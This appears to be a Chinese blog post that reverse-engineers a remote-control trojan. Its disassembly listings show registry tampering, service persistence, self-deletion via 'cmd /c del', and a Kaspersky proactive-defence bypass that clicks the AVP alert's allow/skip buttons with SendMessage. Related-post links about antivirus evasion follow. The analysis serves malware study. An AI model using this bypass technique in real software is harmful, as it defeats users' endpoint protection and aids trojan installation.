一个过主动防御的方法

绕过卡巴斯基主动防御系统方法的讨论  |=---------------------------------------------------------------------------=||=-----------------=[  绕过卡巴斯基主动防御系统方法的讨论  ]=----------------=||=-------------------------------------------------------- 阅读详情
 今天拿到一个过kaspersky主动防御而不改系统时间的远控马,于是分析下吧:

首先当然是创建线程:
push    esp             ; lpThreadId
push    0               ; dwCreationFlags
push    0               ; lpParameter
push    offset sub_409178 ; lpStartAddress
push    0               ; dwStackSize
push    0               ; lpThreadAttributes
call    CreateThread
pop     edx
retn
获得句柄:
push    105h            ; nSize
lea     eax, [esp+10Ch+Filename]
push    eax             ; lpFilename
push    0               ; hModule
call    GetModuleFileNameA
mov     ecx, eax
mov     edx, esp
mov     eax, ebx
call    sub_403DD4
jmp     short loc_402808


然后正式开始做坏事咯:

push    ebp
mov     ebp, esp
add     esp, 0FFFFFFF8h
push    ebx
xor     eax, eax
mov     [ebp+var_8], eax
xor     eax, eax
push    ebp
push    offset sub_408E55
push    dword ptr fs:[eax]
mov     fs:[eax], esp
xor     ebx, ebx
lea     eax, [ebp+var_8]
mov     edx, offset s_SoftwareMicro ; 'Software/Microsoft/Windows/CurrentVersion/Policies/system'
call    sub_403D7C
lea     eax, [ebp+hKey]
push    eax             ; phkResult
push    0F003Fh         ; samDesired
push    0               ; ulOptions
mov     eax, [ebp+var_8]
call    sub_404158
push    eax             ; lpSubKey
push    80000001h       ; hKey
call    RegOpenKeyExA_0
test    eax, eax
jnz     short loc_408E3F


哦?RegOpenKeyExA这是要干什么呢?
push    offset s_Disableregist ; "DisableRegistryTools"
mov     eax, [ebp+hKey]
push    eax             ; hKey
call    RegDeleteValueA
test    eax, eax
jnz     short loc_408E3D
哦 原来是禁用了注册表咯
接着:
loc_4091FF:             ; uSize
push    100h
lea     eax, [ebp+Buffer]
push    eax             ; lpBuffer
call    GetWindowsDirectoryA
jmp     short loc_409236

得到系统目录后:
loc_40A451:
lea     edx, [ebp+var_1C]
mov     eax, 1
call    sub_4091CC
mov     edx, [ebp+var_1C]
mov     eax, offset dword_40CCD0
mov     ecx, offset s_Svchost_exe-k ; "svchost.exe -k remoteservice"
call    sub_403FA4
lea     edx, [ebp+var_20]
mov     eax, 1
call    sub_4091CC
mov     edx, [ebp+var_20]
mov     eax, offset dword_40CCCC
mov     ecx, offset s_Sys_dll_0 ; "sys.dll"
call    sub_403FA4
call    sub_40A030
test    al, al
jz      short loc_40A4FC


释放个sys.dll,然后:  


push    ebp
mov     ebp, esp
push    0
push    ebx
xor     eax, eax
push    ebp
push    offset s_SCILYRemotese ; "閈b朶xFF/xFF腽嬅[Y]胷emoteservice"
push    dword ptr fs:[eax]
mov     fs:[eax], esp
xor     ebx, ebx
push    offset dword_40C8CC ; phkResult
push    20019h          ; samDesired
push    0               ; ulOptions
mov     eax, ds:off_40B2C4
call    sub_404158
push    eax             ; lpSubKey
push    80000002h       ; hKey
call    RegOpenKeyExA_0
test    eax, eax
jnz     short loc_40A0D3

mov     ds:dword_40CCC8, 3E9h
mov     eax, ds:dword_40CCC8
mov     ds:cbData, eax
mov     ds:Type, 7
push    offset cbData   ; lpcbData
push    offset Data     ; lpData
push    offset Type     ; lpType
push    0               ; lpReserved
push    (offset s_SCILYRemotese+0Dh) ; lpValueName
mov     eax, ds:dword_40C8CC
push    eax             ; hKey
call    RegQueryValueExA_0
test    eax, eax
jnz     short loc_40A0C8
又是注册表,看看写了虾米东西:
push    ebp
push    offset loc_40A572
push    dword ptr fs:[eax]
mov     fs:[eax], esp
lea     eax, [ebp+var_24]
mov     edx, offset s_RemoteNetwork ; "Remote network Help  Control Service"
call    sub_403EC0
mov     eax, [ebp+var_24]
push    eax
mov     eax, ds:dword_40CCD0
call    sub_404158
mov     edx, eax
lea     eax, [ebp+var_28]
call    sub_403EC0
mov     ecx, [ebp+var_28]
mov     edx, offset s_RemoteNetwo_0 ; "Remote network Help  Control Service"
mov     eax, ds:off_40B2C8
call    sub_409D6C
xor     eax, eax
pop     edx
pop     ecx
pop     ecx
mov     fs:[eax], edx
jmp     short loc_40A57C

其实服务名很烂,一看就是马
具体的服务信息:
push    ebp
mov     ebp, esp
add     esp, 0FFFFFFE0h
push    ebx
xor     ebx, ebx
mov     [ebp+var_20], ebx
mov     [ebp+var_C], ecx
mov     [ebp+var_8], edx
mov     [ebp+var_4], eax
mov     eax, [ebp+var_4]
call    sub_404148
mov     eax, [ebp+var_8]
call    sub_404148
mov     eax, [ebp+var_C]
call    sub_404148
mov     eax, [ebp+arg_0]
call    sub_404148
xor     eax, eax
push    ebp
push    offset sub_409EDD
push    dword ptr fs:[eax]
mov     fs:[eax], esp
mov     [ebp+var_D], 0
push    0F003Fh         ; dwDesiredAccess
push    0               ; lpDatabaseName
push    0               ; lpMachineName
call    OpenSCManagerA
mov     [ebp+hSCManager], eax
push    0               ; lpPassword
push    0               ; lpServiceStartName
push    0               ; lpDependencies
push    0               ; lpdwTagId
push    0               ; lpLoadOrderGroup
mov     eax, [ebp+var_C]
call    sub_404158
push    eax             ; lpBinaryPathName
push    0               ; dwErrorControl
push    2               ; dwStartType
push    110h            ; dwServiceType
push    0F01FFh         ; dwDesiredAccess
mov     eax, [ebp+var_8]
call    sub_404158
push    eax             ; lpDisplayName
mov     eax, [ebp+var_4]
call    sub_404158
push    eax             ; lpServiceName
mov     eax, [ebp+hSCManager]
push    eax             ; hSCManager  有兴趣的朋友可以算一下具体的配置信息咯;
call    CreateServiceA
mov     [ebp+hSCObject], eax
mov     eax, ds:off_40B420
cmp     dword ptr [eax], 0
jz      loc_409E9B



最后:
call    loc_409AD8
push    0               ; uCmdShow
call    GetCommandLineA_0
mov     edx, eax
lea     eax, [ebp+var_30]
call    sub_403EC0
mov     ecx, [ebp+var_30]
lea     eax, [ebp+var_2C]
mov     edx, offset s_CmdCDel ; "cmd /c del "   
call    sub_403FA4
mov     eax, [ebp+var_2C]
call    sub_404158
push    eax             ; lpCmdLine
call    WinExec         不得不说,这么删除。。。实在很懒...... 真是奇怪?很普通的服务启动,跟鸽子一样,怎么能过卡巴呢?
原来如此:
00408F19  |.  68 FF000000   push    0FF                              ; /Count = FF (255.)
00408F1E  |.  8D85 00FFFFFF lea     eax, dword ptr [ebp-100]         ; |
00408F24  |.  50            push    eax                              ; |Buffer
00408F25  |.  53            push    ebx                              ; |hWnd
00408F26  |.  E8 19C0FFFF   call    <jmp.&user32.GetClassNameA>      ; /GetClassNameA  得到类名
00408F2B  |.  68 FF000000   push    0FF                              ; /Count = FF (255.)
00408F30  |.  8D85 00FEFFFF lea     eax, dword ptr [ebp-200]         ; |
00408F36  |.  50            push    eax                              ; |Buffer
00408F37  |.  53            push    ebx                              ; |hWnd
00408F38  |.  E8 1FC0FFFF   call    <jmp.&user32.GetWindowTextA>     ; /GetWindowTextA  得到窗体标题

开始寻找avp窗体,也就是kaspersky主程序
如果有kaspersky子窗体的button

00408F54  |.  BA 98904000   mov     edx, 00409098                    ;  avp.button
00408F59  |.  E8 46B1FFFF   call    004040A4
00408F5E  |.  0F85 F8000000 jnz     0040905C
00408F64  |.  8D95 F8FDFFFF lea     edx, dword ptr [ebp-208]
00408F6A  |.  8D85 00FEFFFF lea     eax, dword ptr [ebp-200]
00408F70  |.  E8 C3D0FFFF   call    00406038
00408F75  |.  8B85 F8FDFFFF mov     eax, dword ptr [ebp-208]
00408F7B  |.  BA AC904000   mov     edx, 004090AC                    ;  允许
00408F80  |.  E8 1FB1FFFF   call    004040A4
00408F85  |.  0F84 B3000000 je      0040903E
00408F8B  |.  8D95 F4FDFFFF lea     edx, dword ptr [ebp-20C]
00408F91  |.  8D85 00FEFFFF lea     eax, dword ptr [ebp-200]
00408F97  |.  E8 9CD0FFFF   call    00406038
00408F9C  |.  8B85 F4FDFFFF mov     eax, dword ptr [ebp-20C]
00408FA2  |.  BA BC904000   mov     edx, 004090BC                    ;  跳过
00408FA7  |.  E8 F8B0FFFF   call    004040A4
00408FAC  |.  0F84 8C000000 je      0040903E
00408FB2  |.  8D95 F0FDFFFF lea     edx, dword ptr [ebp-210]
00408FB8  |.  8D85 00FEFFFF lea     eax, dword ptr [ebp-200]
00408FBE  |.  E8 75D0FFFF   call    00406038
00408FC3  |.  8B85 F0FDFFFF mov     eax, dword ptr [ebp-210]
00408FC9  |.  BA CC904000   mov     edx, 004090CC                    ; "允许" 繁体都照顾到了,真强,希望下次英文的pass也有.
00408FCE  |.  E8 D1B0FFFF   call    004040A4
00408FD3  |.  74 69         je      short 0040903E
00408FD5  |.  8D95 ECFDFFFF lea     edx, dword ptr [ebp-214]
00408FDB  |.  8D85 00FEFFFF lea     eax, dword ptr [ebp-200]
00408FE1  |.  E8 52D0FFFF   call    00406038
00408FE6  |.  8B85 ECFDFFFF mov     eax, dword ptr [ebp-214]
00408FEC  |.  BA DC904000   mov     edx, 004090DC
00408FF1  |.  E8 AEB0FFFF   call    004040A4
00408FF6  |.  74 46         je      short 0040903E
00408FF8  |.  8D95 E8FDFFFF lea     edx, dword ptr [ebp-218]
00408FFE  |.  8D85 00FEFFFF lea     eax, dword ptr [ebp-200]
00409004  |.  E8 2FD0FFFF   call    00406038
00409009  |.  8B85 E8FDFFFF mov     eax, dword ptr [ebp-218]
0040900F  |.  BA EC904000   mov     edx, 004090EC
00409014  |.  E8 8BB0FFFF   call    004040A4
00409019  |.  74 23         je      short 0040903E
0040901B  |.  8D95 E4FDFFFF lea     edx, dword ptr [ebp-21C][table=72%,#ffffff][tr][td=1,1,97%][/td][/tr][tr][td]00409021  |.  8D85 00FEFFFF lea     eax, dword ptr [ebp-200]
00409027  |.  E8 0CD0FFFF   call    00406038
0040902C  |.  8B85 E4FDFFFF mov     eax, dword ptr [ebp-21C]
00409032  |.  BA FC904000   mov     edx, 004090FC
00409037  |.  E8 68B0FFFF   call    004040A4
0040903C  |.  75 1E         jnz     short 0040905C
0040903E  |>  6A 00         push    0                                ; /lParam = 0
00409040  |.  6A 00         push    0                                ; |wParam = 0
00409042  |.  68 F5000000   push    0F5                              ; |Message = BM_CLICK
00409047  |.  53            push    ebx                              ; |hWnd
00409048  |.  E8 27BFFFFF   call    <jmp.&user32.SendMessageA>       ; /SendMessageA
0040904D  |.  6A 00         push    0                                ; /lParam = 0
0040904F  |.  6A 00         push    0                                ; |wParam = 0
00409051  |.  68 F5000000   push    0F5                              ; |Message = BM_CLICK
00409056  |.  53            push    ebx                              ; |hWnd
00409057  |.  E8 18BFFFFF   call    <jmp.&user32.SendMessageA>       ; /SendMessageA

BM_CLICK原形,MSDN:
Simulates the user clicking a button. This message causes the button to receive the WM_LBUTTONDOWN and WM_LBUTTONUP messages, and the button's parent window to receive a BN_CLICKED notification message


通过SendMessageA来点击允许,失败则点击跳过


00409104  /.  55            push    ebp
00409105  |.  8BEC          mov     ebp, esp
00409107  |.  6A 00         push    0                                ; /Title = NULL
00409109  |.  68 4C914000   push    0040914C                         ; |avp.product_notification
0040910E  |.  E8 29BEFFFF   call    <jmp.&user32.FindWindowA>        ; /FindWindowA
00409113  |.  85C0          test    eax, eax
00409115  |.  74 12         je      short 00409129
00409117  |.  6A 00         push    0                                ; /lParam = 0
00409119  |.  68 60F00000   push    0F060                            ; |wParam = F060
0040911E  |.  68 12010000   push    112                              ; |Message = WM_SYSCOMMAND
00409123  |.  50            push    eax                              ; |hWnd
00409124  |.  E8 4BBEFFFF   call    <jmp.&user32.SendMessageA>       ; /SendMessageA
00409129  |>  6A 00         push    0                                ; /Title = NULL
0040912B  |.  68 68914000   push    00409168                         ; |avp.alertdialog
00409130  |.  E8 07BEFFFF   call    <jmp.&user32.FindWindowA>        ; /FindWindowA
00409135  |.  85C0          test    eax, eax
00409137  |.  74 0D         je      short 00409146
00409139  |.  6A 00         push    0                                ; /lParam = 0
0040913B  |.  68 C08E4000   push    00408EC0                         ; |Callback = server.00408EC0
00409140  |.  50            push    eax                              ; |hParent
00409141  |.  E8 EEBDFFFF   call    <jmp.&user32.EnumChildWindows>   ; /EnumChildWindows
00409146  |>  5D            pop     ebp
00409147  /.  C2 1400       retn    14
0040914A      00            db      00
0040914B      00            db      00
0040914C   .  41 56 50 2E 5>ascii   "AVP.Product_Noti"
0040915C   .  66 69 63 61 7>ascii   "fication",0
00409165      00            db      00
00409166      00            db      00
00409167      00            db      00
00409168   .  41 56 50 2E 4>ascii   "AVP.AlertDialog",0
00409178   .  6A 01         push    1
0040917A   .  6A 00         push    0
0040917C   .  68 04914000   push    00409104
00409181   .  6A 00         push    0
00409183   .  6A 01         push    1
00409185   .  E8 5EF8FFFF   call    <jmp.&winmm.timeSetEvent>
0040918A   .  A3 64C84000   mov     dword ptr [40C864], eax
0040918F   >  6A 00         push    0                                ; /MsgFilterMax = 0
00409191   .  6A 00         push    0                                ; |MsgFilterMin = 0
00409193   .  6A 00         push    0                                ; |hWnd = NULL
00409195   .  68 68C84000   push    0040C868                         ; |pMsg = server.0040C868
0040919A   .  E8 ADBDFFFF   call    <jmp.&user32.GetMessageA>        ; /GetMessageA
枚举一个父窗口的所有子窗口,也就是EnumChildWindows,获取提示框信息,


这里看的出,如果kaspersky出现子窗口,而且含有跳过,允许,那么就会被程序控制......
00409185   .  E8 5EF8FFFF   call    <jmp.&winmm.timeSetEvent>
0040918A   .  A3 64C84000   mov     dword ptr [40C864], eax
0040918F   >  6A 00         push    0                                ; /MsgFilterMax = 0
00409191   .  6A 00         push    0                                ; |MsgFilterMin = 0
00409193   .  6A 00         push    0                                ; |hWnd = NULL
00409195   .  68 68C84000   push    0040C868                         ; |pMsg = server.0040C868
0040919A   .  E8 ADBDFFFF   call    <jmp.&user32.GetMessageA>        ; /GetMessageA
0040919F   .  85C0          test    eax, eax
004091A1   .^ 75 EC         jnz     short 0040918F
004091A3   .  C3            retn
004091A4  /$  51            push    ecx
004091A5  |.  84C0          test    al, al
004091A7  |.  74 15         je      short 004091BE
004091A9  |.  54            push    esp                              ; /pThreadId
004091AA  |.  6A 00         push    0                                ; |CreationFlags = 0
004091AC  |.  6A 00         push    0                                ; |pThreadParm = NULL
004091AE  |.  68 78914000   push    00409178                         ; |ThreadFunction = server.00409178
004091B3  |.  6A 00         push    0                                ; |StackSize = 0
004091B5  |.  6A 00         push    0                                ; |pSecurity = NULL
004091B7  |.  E8 58BCFFFF   call    <jmp.&kernel32.CreateThread>     ; /CreateThread

使用计时器反复获得信息,最后如果成功跳过kaspersky则createthread.


得到系统目录:
当然前面还有个getversion,用于判断是winnt还是windows目录。
004091FF  |> /68 00010000   push    100                              ; /BufSize = 100 (256.); Case 0 of switch 004091F3
00409204  |.  8D85 00FFFFFF lea     eax, dword ptr [ebp-100]         ; |
0040920A  |.  50            push    eax                              ; |Buffer
0040920B  |.  E8 CCBCFFFF   call    <jmp.&kernel32.GetWindowsDirecto>; /GetWindowsDirectoryA
00409210  |.  EB 24         jmp     short 00409236
00409212  |>  68 00010000   push    100                              ; /BufSize = 100 (256.); Case 1 of switch 004091F3
00409217  |.  8D85 00FFFFFF lea     eax, dword ptr [ebp-100]         ; |
0040921D  |.  50            push    eax                              ; |Buffer
0040921E  |.  E8 99BCFFFF   call    <jmp.&kernel32.GetSystemDirector>; /GetSystemDirectoryA
00409223  |.  EB 11         jmp     short 00409236
00409225  |>  8D85 00FFFFFF lea     eax, dword ptr [ebp-100]         ;  Case 2 of switch 004091F3
0040922B  |.  50            push    eax                              ; /Buffer
0040922C  |.  68 00010000   push    100                              ; |BufSize = 100 (256.)
00409231  |.  E8 8EBCFFFF   call    <jmp.&kernel32.GetTempPathA>     ; /GetTempPathA
00409236  |>  83FB 02       cmp     ebx, 2                           ;  Default case of switch 004091F3


最后:
004092FC  |.  50            push    eax                              ; |ResourceName
004092FD  |.  A1 60C64000   mov     eax, dword ptr [40C660]          ; |
00409302  |.  50            push    eax                              ; |hModule => NULL
00409303  |.  E8 4CBBFFFF   call    <jmp.&kernel32.FindResourceA>    ; /FindResourceA
00409308  |.  8BD8          mov     ebx, eax
0040930A  |.  85DB          test    ebx, ebx
0040930C  |.  74 67         je      short 00409375
0040930E  |.  53            push    ebx                              ; /hResource
0040930F  |.  A1 60C64000   mov     eax, dword ptr [40C660]          ; |
00409314  |.  50            push    eax                              ; |hModule => NULL
00409315  |.  E8 D2BBFFFF   call    <jmp.&kernel32.LoadResource>     ; /LoadResource
0040931A  |.  85C0          test    eax, eax
0040931C  |.  74 57         je      short 00409375
0040931E  |.  50            push    eax                              ; /hResource
0040931F  |.  E8 D0BBFFFF   call    <jmp.&kernel32.LockResource>     ; /LockResource
00409324  |.  8BF8          mov     edi, eax
00409326  |.  53            push    ebx                              ; /hResource
00409327  |.  A1 60C64000   mov     eax, dword ptr [40C660]          ; |
0040932C  |.  50            push    eax                              ; |hModule => NULL
0040932D  |.  E8 D2BBFFFF   call    <jmp.&kernel32.SizeofResource>   ; /SizeofResource
00409332  |.  8BD8          mov     ebx, eax
00409334  |.  85FF          test    edi, edi
00409336  |.  74 3D         je      short 00409375
00409338  |.  6A 00         push    0
0040933A  |.  68 80000000   push    80
0040933F  |.  6A 02         push    2
00409341  |.  6A 00         push    0
00409343  |.  6A 00         push    0
00409345  |.  68 000000C0   push    C0000000
0040934A  |.  8B45 F4       mov     eax, dword ptr [ebp-C]
0040934D  |.  E8 06AEFFFF   call    00404158
00409352  |.  50            push    eax                              ; |FileName
00409353  |.  E8 B4BAFFFF   call    <jmp.&kernel32.CreateFileA>      ; /CreateFileA
00409358  |.  8BF0          mov     esi, eax
0040935A  |.  83FE FF       cmp     esi, -1
0040935D  |.  74 16         je      short 00409375
0040935F  |.  6A 00         push    0                                ; /pOverlapped = NULL
00409361  |.  8D45 EC       lea     eax, dword ptr [ebp-14]          ; |
00409364  |.  50            push    eax                              ; |pBytesWritten
00409365  |.  53            push    ebx                              ; |nBytesToWrite
00409366  |.  57            push    edi                              ; |Buffer
00409367  |.  56            push    esi                              ; |hFile
00409368  |.  E8 AFBBFFFF   call    <jmp.&kernel32.WriteFile>        ; /WriteFile
0040936D  |.  85C0          test    eax, eax
0040936F  |.  74 04         je      short 00409375
00409371  |.  C645 F3 01    mov     byte ptr [ebp-D], 1
00409375  |>  83FE FF       cmp     esi, -1
00409378  |.  74 06         je      short 00409380
0040937A  |.  56            push    esi                              ; /hObject
0040937B  |.  E8 7CBAFFFF   call    <jmp.&kernel32.CloseHandle>      ; /CloseHandle

创建文件,关闭句柄。
从等保合规到实战渗透:构建网络安全主动防御体系 网络安全的核心在于建立一套从管理到技术的完整防护体系。信息系统等级保护作为我国网络安全的基本制度,其本质是通过“一个中心,三重防护”的架构,为不同重要程度的系统设定安全基线。理解其原理,关键在于认识到安全管理体系是驱动技术防护有效运转的“大脑”,而渗透测试则是检验这套体系是否扎实的“实战演练”。从技术价值看,渗透测试模拟黑客攻击,不仅能验证防火墙、入侵检测等技术措施的有效性,更能暴露安全管理流程中的盲点,如代码管理缺失或人员安全意识不足。在应用场景上,无论是满足等保合规的周期性测评要求,还是企业日常的安全运 阅读详情

相关推荐

免杀360过主动防御加入白名单代码放出

免杀过掉360主动防御加入白名单代码放出 仍痛割爱的放出来 象征性的收些分吧 希望大家珍惜

【转】瑞星2008采用的主动防御技术及弱点分析

(1) SSDT HOOK: 使用了最原始也是最易恢复的SSDT挂钩方式挂钩了入下函数:ZwCreateThread、ZwWriteProcessMemory:用于防止远线程注入ZwLoadDriver:拦截正规通过SCM的驱动加载ZwSetValueKey、ZwCreateKey、ZwDeleteKey、ZwDeleteKey、ZwDeleteValueKey、ZwRenameKey:用于拦截注

evil.eagle的专栏 1646

利用系统服务名称过360主动 完整篇

利用文件里包含的服务名称,灰鸽子等一些远程软件可过360主动防御 木马启动时显示安全启动项 这个可是收集了好久才收集到的 希望大家顶一下!小菜不才,老鸟勿笑!

windows主动防御多种实现思路

思路1 堵进程方式 就是不管什么先给你挂起来 然后再交给用户是否放行思路2 事件方式 用户投俩个事件下去 然后用户开个线程 等待驱动去设置那个事件驱动同样开线程等待用户去设置另外一个事件https://blog.youkuaiyun.com/sonsie007/article/details/38356961https://www.write-bug.com/article/1550.html思路 1 2案例...

weixin_34199405的博客 452

2010最新全免杀双过主动. 免杀 过主动防御 过瑞星主动防御

友情提示:杀软可能会报毒,郑重声明软件为绿色无后门无木马,报毒是因为杀软把黑软都列入黑名单,运行前请关闭杀软在做运行,不符合以上条件请不要下载

反高启发与反主动防御之路——基于源码的免杀技术(上)

反高启发与反主动防御之路——基于源码的免杀技术(上)

炎刃主动防御系统

标 题: 【原创】炎刃主动防御系统 作 者: cn_kevin时 间: 2010-12-21 blog : http://cn-kevin.iteye.com       最近有时间研究了下驱动,就想写个简单的主动防御系统练练手,其实驱动程序跟其他程序一样,并不是非常复杂,而且相当来说还比较简单且容易理解,主要是微软不公开内核函数的文档,内核层异常就会出现华丽的蓝屏保护,造成了驱动编程难的...

Cn-kevin的窝 242

VB6.0 EnumChildWindows 枚举反调试.rar

VB6.0 EnumChildWindows 枚举反调试,针对EnumChildProc写的自动处理函数,检测字符集里有没有cpu或者smart字样,返回TRUE表示包含,具体整合成为反调试利器。

利用PCHunter结束各种进程

http://www.epoolsoft.com/ 经测试,可结束主动防御等。 转载于:https://www.cnblogs.com/xiaohi/p/7781336.html

weixin_30919919的博客 867

过主动防御的程序过主动防御的程序

过主动防 MJ0011的,发上来给大家看一下

KVNAND架构:解决边缘设备部署LLM的内存与带宽挑战

大语言模型(LLM)在边缘设备部署时面临内存容量和带宽限制的核心挑战。传统方案依赖DRAM存储KV缓存,导致高昂成本和性能瓶颈。闪存计算(IFC)通过计算单元下沉和流水线优化缓解部分问题,但仍受限于DRAM依赖。KVNAND架构创新性地将KV缓存直接存储在3D NAND闪存中,结合异构计算和页面级KV映射技术,显著降低延迟和能耗。该架构特别适用于长上下文场景,如文档分析和个人助理应用,能有效解决内存溢出(OOM)问题并提升计算单元利用率。关键技术包括头组并行(HG)执行和混合键合设计,为边缘AI部署提供了新

weixin_27215337的博客 320

病毒木马查杀实战第021篇:Ring3层主动防御之编程实现

前言       我们这次会依据上次的内容,编程实现一个Ring3层的简单的主动防御软件。整个程序使用MFC实现,程序开始监控时,会将DLL程序注入到explorer.exe进程中,这样每当有新的进程创建,程序首先会进行特征码匹配,从而判断目标程序是否为病毒程序,如果是,则进行拦截,反之不拦截。停止监控时,再卸载掉DLL程序。以下就是程序各个部分的代码实现。 封装InlineHook类     

Gleam的专栏 1万+

中科蓝讯AB536X/AB892X芯片开发避坑指南:Downloader配置中那些容易忽略的细节

本文详细解析中科蓝讯AB536X/AB892X芯片开发中Downloader配置的关键细节,包括软开关机实现、触摸灵敏度调试、量产校频等常见问题。特别针对无PR口芯片的替代方案、触摸参数优化、校频流程等易忽略环节提供实用解决方案,帮助开发者规避量产风险,提升开发效率。

weixin_30687051的博客 476

Ring3下WX方法结束微点2009

 作 者: cogito此法系Hovi.Delphic首发,某日看过之后甚感WS(某牛:“太挫了,太挫了”),于是把原作者的VB代码转成VC,以飨读者。 微点的主动防御没有拦截一些系统进程如csrss.exe, smss,exe, lsass.exe, svchost.exe, services.exe等的危险动作。因为这些进程通常是不危险的,我们要做的就是把它们中的某个变成危险进程,然后用这个危

4240

从扇束到平行束:等角重排算法在CT重建中的核心原理与MATLAB实践

本文深入解析了CT图像重建中等角扇束重排算法的核心原理与MATLAB实现。通过将实际采集的扇束投影数据,利用几何映射和两次关键插值,转换为适用于经典滤波反投影算法的平行束数据,打通了高效重建的关键路径。文章结合Shepp-Logan模型仿真,提供了完整的MATLAB代码实践,并分析了源-物距、采样率等关键参数对重建质量的影响。

cnn8visionary的博客 647

Odoo 集成ReportBro报表设计器支持13,14,15,16,17,18,19

Odoo 集成ReportBro零代码报表设计器,ReportBro设计器 一个用于创建PDF和XLSX报告模板的javascript插件。

zxltwins的博客 3376

主动防御简述

主动防御一、定义二、主动防御和被动防御的比较三、主动防御的方法四、主动防御的作用五、主动防御带来的隐患六、关于主动防御中防守反击的建议七、主动防御在国内外的发展八、总结 主动防御可以指军事或网络安全领域中的防御战略。在网络安全领域,主动防御也称为Active Cyber Defense,主动防御是与被动防御相对应的概念。 一、定义 主动防御是在入侵行为对计算机系统造成恶劣影响之前,能够及时精准预警,实时构建弹性防御体系,避免、转移、降低信息系统面临的风险的安全措施。 主动防御也是一种变相的攻击型安全措施(

VMware, Windows, Linux, Cisco, Container, Kubernetes, Kali 1万+

【信息系统项目管理师】第18章:项目绩效域详解

(3)度量绩效域与规划绩效域、项目工作绩效域和交付绩效域的相互作用:1规划构成了 交付和规划比较的基础;项目绩效域共同构成了一个统一的整体,作为一个完整系统,在项目生命周期过程中运行,系统内的每个绩效域相互作用、相互关联和相互依赖,并协调一致、共同运作,支撑项目目标和价值 的实现。(5)开发方法和生命周期绩效域与其他绩效域的相互作用:开发方法和生命周期绩效域与干系人绩效域、规划绩效域、不确定性绩效域、交付绩效域、项目工作绩效域和团队绩效域相互作用。(2)项目工作绩效域的绩效要点包括:项目过程;

数据知道的博客 7804

实测江民KV2009主动防御及自我保护

作者:rocketboy近日,国内目前比较权威的反病毒软件测试实验室PCSL发布了08年11月份的测试结果(PCSL全称PCSecurityLab,是国际反病毒测试标准化组织AMTSO成员,主要发起人是JefferyWu,目前已经有13家杀毒厂商参加测试,每月发布一次测试结果)。测试结果如图所示,总共测试了1908个病毒样本,图示部分蓝色为静态测...

weixin_43630492的博客 698

Pyhon在振动信号处理中的高级应用(一):振动信号特征(时域、频域)提取

文章目录一、概述二、算法原理2.1 时域统计特征三、python代码实现 一、概述 二、算法原理   这里我们借鉴西安交通大学机械学院雷教授的论文《Fault diagnosis of rotating machinery based on multiple ANFIS combination with GAs》相关研究成果。雷教授在论文中共列举了4类共24种振动信号的时域和频域特征。 2.1 时域统计特征 p1=∑n=1Nx(n)NP2=∑n=1N(x(n)−p1)2N−1p3=(∑n=1N∣x(n)∣N

白银时代的博客 1万+

c语言实现求一个矩阵特征值和特征向量

前言 求矩阵的特征值,主要是用的QR分解,在我的有一次博客里,我已经详细地给出了计算的过程,大家有兴趣可以去看下,经过几天的钻研,终于完成了整个的eig算法。下面我将把我的整个代码附上,有不懂的可以问我,欢迎一起讨论学习! 这是对上一次的修改版,上一次写的程序是在C++编译环境下编译的,所以放在c里面编译有些会出错。 最后,如果有不对的地方希望大...

qq_36417014的博客 2万+

免杀与过主动防御

一。免杀1。最简单的:加壳Svkp,Pelock,Telock,Asprotect等等牛壳,或者一些私人壳如免役007之类的,虽然方便,但免杀效果不一定好,因为现在杀毒会把壳的特征当病毒或者把加壳后的特征也收录,而且加壳的不能用于内存代码注射2。手工免杀用CCL 一类的定位工具定位出特征码,不同的杀毒的特征录入是不一样的,而且不止一处,所以免杀是体力活;然后逐一修改

4426

C# 固高板卡(总线型) 操作类

主要功能有:初始化,轴使能,正负方向手动移动,回0,点到点移动,等待移动完成,输入IO数据读取,输出IO控制,清除报警等功能。

StevenChen的博客 571

免杀跟过主动防御

一。免杀1。最简单的:加壳Svkp,Pelock,Telock,Asprotect等等牛壳,或者一些私人壳如免役007之类的,虽然方便,但免杀效果不一定好,因为现在杀毒会把壳的特征当病毒或者把加壳后的特征也收录,而且加壳的不能用于内存代码注射2。手工免杀用CCL一类的定位工具定位出特征码,不同的杀毒的特征录入是不一样的,而且不止一处,所以免杀是体力活;然后逐一修改定位出来的特征码,例如修改入口(代

1861

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

上一篇: FTP协议完全详解
下一篇: 郁闷的一天(另附杀毒记)
yxyhack
博客等级 码龄19年 296粉丝 58原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值